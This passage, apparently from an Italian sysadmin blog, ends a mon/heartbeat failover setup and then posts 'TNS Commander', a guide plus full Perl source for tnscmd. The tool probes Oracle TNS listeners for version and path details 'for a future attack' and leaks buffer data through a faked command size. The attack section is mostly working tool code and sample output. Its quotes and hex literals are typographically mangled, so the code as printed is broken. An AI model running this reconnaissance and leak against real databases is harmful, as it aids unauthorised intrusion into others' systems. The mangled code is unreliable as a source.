echo -n “Starting mon daemon: “

# daemon /etc/mon/mon -c /etc/mon/mon.cf

/etc/mon/mon -f -c /etc/mon/mon.cf

echo

touch /var/lock/subsys/mon

;;

stop)

echo -n “Stopping mon daemon: “

killproc mon

echo

rm -f /var/lock/subsys/mon

;;

status)

base=”mon”

pid=`pidof -o $$ -o $PPID -o %PPID -x ${base}`

if [ -n "$pid" ]; then

echo “running”

else

echo “stopped”

fi

;;

monitor)

base=”mon”

pid=`pidof -o $$ -o $PPID -o %PPID -x ${base}`

if [ -n "$pid" ]; then

echo “running”

else

echo “stopped”

exit 7

fi

;; restart)

killall -HUP mon

;;

*)

echo “Usage: mon {start|stop|status|restart|monitor}”

exit 1

esac

exit 0

A questo punto possiamo lanciare heartbeat su entrambi i nodi per controllare che vengano caricate tutte le nostre risorse (/etc/init.d/heartbeat start).Quindi possiamo partire configurando il file /etc/mon/mon.cf

 

alertdir = /etc/mon/alert.d

mondir = /etc/mon/mon.d

logdir = /etc/mon

maxprocs = 20

histlength = 100

randstart = 60s

 

hostgroup nodo1 10.0.0.2    

hostgroup nodo2 10.0.0.3

 

watch nodo1

service tcp

interval 5s

monitor tcp.monitor -p 3000 10.0.0.2  #-p portatcp indirizzonodo1

period wd {Mon-Sun}

alert ha_sall.alert  #appena non mi risponde per 2 volte il server lancio /usr/lib64/heartbeat/hb_standby all

upalert ha_tloc.alert #appena torna su il server lancio /usr/lib64/heartbeat/hb_takeover local

alertafter 2

no_comp_alerts

watch nodo2

service tcp

interval 5s

 

monitor tcp.monitor -p 3000 10.0.0.3 #-p portatcp indirizzonodo2

period wd {Mon-Sun}

alert ha_tall.alert # appena non mi risponde per 2 volte il server lancio /usr/lib64/heartbeat/hb_takeover all

upalert ha_sfor.alert #appena torna su lancio /usr/lib64/heartbeat/hb_standby foreign

alertafter 2

no_comp_alerts

I file come ha_sfor.alert sono contenuti sotto /etc/mon/alert.d e non sono altro che file script con il comando scritto affianco.Ovviamente questa è la configurazione del nodo 1 quindi sul nodo 2 dovrò scambiare tutto ciò che riguarda col nodo1 con il nodo2 e viceversa.In pratica monitorizza se la porta 3000 sugli indirizzi ip indicati è aperta se non lo è esegue il file di alert dopo 2 volte che non risponde (alertafter 2),se la porta torna disponibile allora scatta l’upalert.Con questa configurazione la mia applicazione aveva tra l’alert e il failover delle risorse solo 5 secondi :D direi un risultato molto soddisfacente.

SCRIPT – TNS COMMANDER Agosto 31, 2008

Posted by installatore in script.
Tags: , , , ,
add a comment

Ciao a tutti con questo breve script in perl possiamo andare a utilizzare il servizio del listener di oracle per eseguire comandi random sul server.Ecco qui un abreve guida in inglese… e in fondo troverete lo script in perl….

 

Tnscmd can be used to communicate directly with Oracle’s TNS listener, (no client is needed).  Unlike the Oracle

listener control utility LSNRCTL.exe, TNSCmd.pl does not need any connection strings and a direct

bi-directional conversation can be immediately established.

tnscmd by default will ping the stated host if no commands are supplied.

[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1

sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.0.1:1521

writing 87 bytes

reading

…….”..=(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=LISTENER))

 

The three stages that have occured are:

  • the TNS command itself: ((CONNECT_DATA=(COMMAND=ping)
  • the raw TNS packet sent to the TNS listener: writing 87 bytes
  • the raw TNS reply packet from the TNS listener: “..=(DESCRIPTION=(T etc.

 

The VSNNUM is the Oracle version no. in decimal, which can be converted from hex to give the version = 9.2

(which was actually 9.1i)

 

[root@localhost tnscmd]# perl tnscmd.pl version -h 192.168.0.1

sending (CONNECT_DATA=(COMMAND=version)) to 192.168.0.1:1521

writing 90 bytes

reading

.M…….6………-. ……….(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0))……….TNSLSNR

for 32-bit Windows: Version 9.2.0.1.0 – Production..TNS for 32-bit Windows: Version 9.2.0.1.0 – Production..Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production..

Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production..

Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production,,………@

 

[root@localhost tnscmd]# perl tnscmd.pl status -h 192.168.0.1

 

sending (CONNECT_DATA=(COMMAND=status)) to 192.168.0.1:1521

writing 89 bytes

reading

. …….6………S. ………..]……..(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=

LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 – Production)(START_DATE=05-DEC200509:36:12)(SIDNUM=1)(LOGFILE=C:\oracle\ora92\

network\log\listener.log) (PRMFILE=C:\oracle\ora92\network\admin\listener.ora)(TRACING=off)

(UPTIME=3508960369)(SNMP=OFF)(PID=808)).a……..(ENDPOINT=(HANDLER=(HANDLER_

MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=0309991

D7055-491B-9C9467FF511E869)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=

(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc))))),,ENDPOINT=(HANDLER=

(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)

(HANDLER_ID=01AAF1D856D6-4DFB-987D-

 

See how confusing this is to read you should also pass the –indent option at the end of the command and proper formatting in human readable format will be carried out. 

 

The above is just a small part of the results but the data highlighted tells us we are dealing with an Oracle 9i installation on Windows, SNMP is turned off and the location of the log file and with it the $ORACLE_HOME directory which may help in a future attack.  It will also normally tell you the hostname and also other ports that are running Oracle process i.e. Port 2100 FTP etc.

 

Another command that could be tried that may provide details such as usernames is the following:

[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1 –cmdsize 40

This may return data from previous tns packets as the listener doesn’t always clear its buffers as effectively as it should do.  If the above is successful try incrementing the cmdsize up to say 200 and maybe more will be returned.  This vulnerability is present in early versions of Oracle and may not work on the current versions in use today.  It’s still worth a try though.

#!/usr/bin/perl
#
# tnscmd – a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc + perl5
#
# Initial cruft: jwa@jammed.com  5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see also:
#    http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
#    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818
#    http://otn.oracle.com/deploy/security/alerts.htm
#    http://xforce.iss.net/alerts/advise66.php
#
# GPL’d, of course.  http://www.gnu.org/copyleft/gpl.html
#
# $Log: tnscmd,v $
# Revision 1.3  2001/04/26 06:45:48  jwa
# typo in url.  whoops.
#
# Revision 1.2  2001/04/26 06:42:17  jwa
# complete rewrite
#  – use IO::Socket instead of tcp_open
#  – got rid of pdump()
#  – put packet into @list and build it with pack()
#  – added –indent option
#
#

use IO::Socket;
use strict;  # a grumpy perl interpreter is your friend

select(STDOUT);$|=1;

#
# process arguments
#

my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg);

while ($arg = shift @ARGV) {
 $main::hostname = shift @ARGV if ($arg eq “-h”);
 $main::port = shift @ARGV if ($arg eq “-p”);
 $main::logfile = shift @ARGV if ($arg eq “–logfile”);
 $main::fakepacketsize = shift @ARGV if ($arg eq “–packetsize”);
 $main::fakecmdsize = shift @ARGV if ($arg eq “–cmdsize”);
 $main::indent = 1 if ($arg eq “–indent”);
 $main::rawcmd = shift @ARGV if ($arg eq “–rawcmd”);
 $main::rawout = shift @ARGV if ($arg eq “–rawout”);
}

if ($main::hostname eq “”) {
 print <<_EOF_;
usage: $0 [command] -h hostname
       where ‘command’ is something like ping, version, status, etc. 
       (default is ping)
       [-p port] – alternate TCP port to use (default is 1521)
       [--logfile logfile] – write raw packets to specified logfile
       [--indent] – indent & outdent on parens
       [--rawcmd command] – build your own CONNECT_DATA string
       [--cmdsize bytes] – fake TNS command size (reveals packet leakage)
_EOF_
 exit(0);
}

# with no commands, default to pinging port 1521

$cmd = “ping” if ($cmd eq “”);
$main::port = 1521 if ($main::port eq “”); # 1541, 1521.. DBAs are so whimsical
#
# main
#

my ($command);

if (defined($main::rawcmd))
{
 $command = $main::rawcmd;
}
else

 $command = “(CONNECT_DATA=(COMMAND=$cmd))”; 
}
my $response = tnscmd($command);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
#

sub tnscmd
{
 my ($command) = shift @_;
 my ($packetlen, $cmdlen);
 my ($clenH, $clenL, $plenH, $plenL);
 my ($i);

 print “sending $command to $main::hostname:$main::port\n”;

 if ($main::fakecmdsize ne “”)
 {
  $cmdlen = $main::fakecmdsize;
  print “Faking command length to $cmdlen bytes\n”;
 }
 else
 { 
  $cmdlen = length ($command);
 }

 $clenH = $cmdlen >> 8;
 $clenL = $cmdlen & 0xff;

 # calculate packet length

 if (defined($main::fakepacketsize))
 {
  print “Faking packet length to $main::fakepacketsize bytes\n”;
  $packetlen = $main::fakepacketsize;
 }
 else
 { 
  $packetlen = length($command) + 58; # “preamble” is 58 bytes
 }

 $plenH = $packetlen >> 8;
 $plenL = $packetlen & 0xff;

 $packetlen = length($command) + 58 if (defined($main::fakepacketsize));

 # decimal offset
 # 0:   packetlen_high packetlen_low
 # 26:  cmdlen_high cmdlen_low
 # 58:  command

 # the packet.

 my (@packet) = (
  $plenH, $plenL, 0×00, 0×00, 0×01, 0×00, 0×00, 0×00,
  0×01, 0×36, 0×01, 0×2c, 0×00, 0×00, 0×08, 0×00,
  0×7f, 0xff, 0×7f, 0×08, 0×00, 0×00, 0×00, 0×01,
  $clenH, $clenL, 0×00, 0×3a, 0×00, 0×00, 0×00, 0×00,
  0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
  0×00, 0×00, 0×00, 0×00, 0×34, 0xe6, 0×00, 0×00,
  0×00, 0×01, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
  0×00, 0×00
  );
 for ($i=0;$i<length($command);$i++) 
 {
  push(@packet, ord(substr($command, $i, 1)));
 } 

 my ($sendbuf) = pack(“C*”, @packet);

 print “connect “;
 my ($tns_sock) = IO::Socket::INET->new(
  PeerAddr => $main::hostname,
  PeerPort => $main::port,
  Proto => ‘tcp’,
  Type => SOCK_STREAM,
  Timeout => 30) || die “connect to $main::hostname failure: $!”;
 $tns_sock->autoflush(1);

 print “\rwriting ” . length($sendbuf) . ” bytes\n”;

 if (defined($main::logfile))
 {
  open(SEND, “>$main::logfile.send”) || die “can’t write $main::logfile.send: $!”;
  print SEND $sendbuf || die “write to logfile failed: $!”;
  close(SEND);
 } 

 my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));

 if ($count != length($sendbuf))
 {
  print “only wrote $count bytes?!”;
  exit 1;
 } 

 print “reading\n”;

 # get fun data
 # 1st 12 bytes have some meaning which so far eludes me

 if (defined($main::logfile))
 {
  open(REC, “>$main::logfile.rec”) || die “can’t write $main::logfile.rec: $!”;
 } 

 my ($buf, $recvbuf);

 # read until socket EOF
 while (sysread($tns_sock, $buf, 128))
 {
  print REC $buf if (defined($main::logfile));
  $recvbuf .= $buf;
 }
 close (REC) if (defined($main::logfile));
 close ($tns_sock);
 return $recvbuf;
}
sub viewtns
{
 my ($response) = shift @_;

 # should have a hexdump option . . .

 if ($main::raw)
 {
  print $response;
 }
 else
 {
  $response =~ tr/\200-\377/00-\177/; # strip high bits
  $response =~ tr/00-27/\./;
  $response =~ tr/\177/\./;

  if ($main::indent)
  {
   parenify($response);
  }
  else
  {
   print $response;
  }
  print “\n”;
 } 

sub parenify
{
 my ($buf) = shift @_;
 my ($i, $c);
 my ($indent, $o_indent);

 for ($i=0;$i<length($buf);$i++)
 {
  $c = substr($buf, $i, 1);
  $indent++ if ($c eq “(“);
  $indent– if ($c eq “)”);
  if ($indent != $o_indent)
  {
   print “\n” unless(substr($buf, $i+1, 1) eq “(“);
   print “  ” x $indent;
   $o_indent = $indent;
   undef $c;
  } 
  print $c;
 }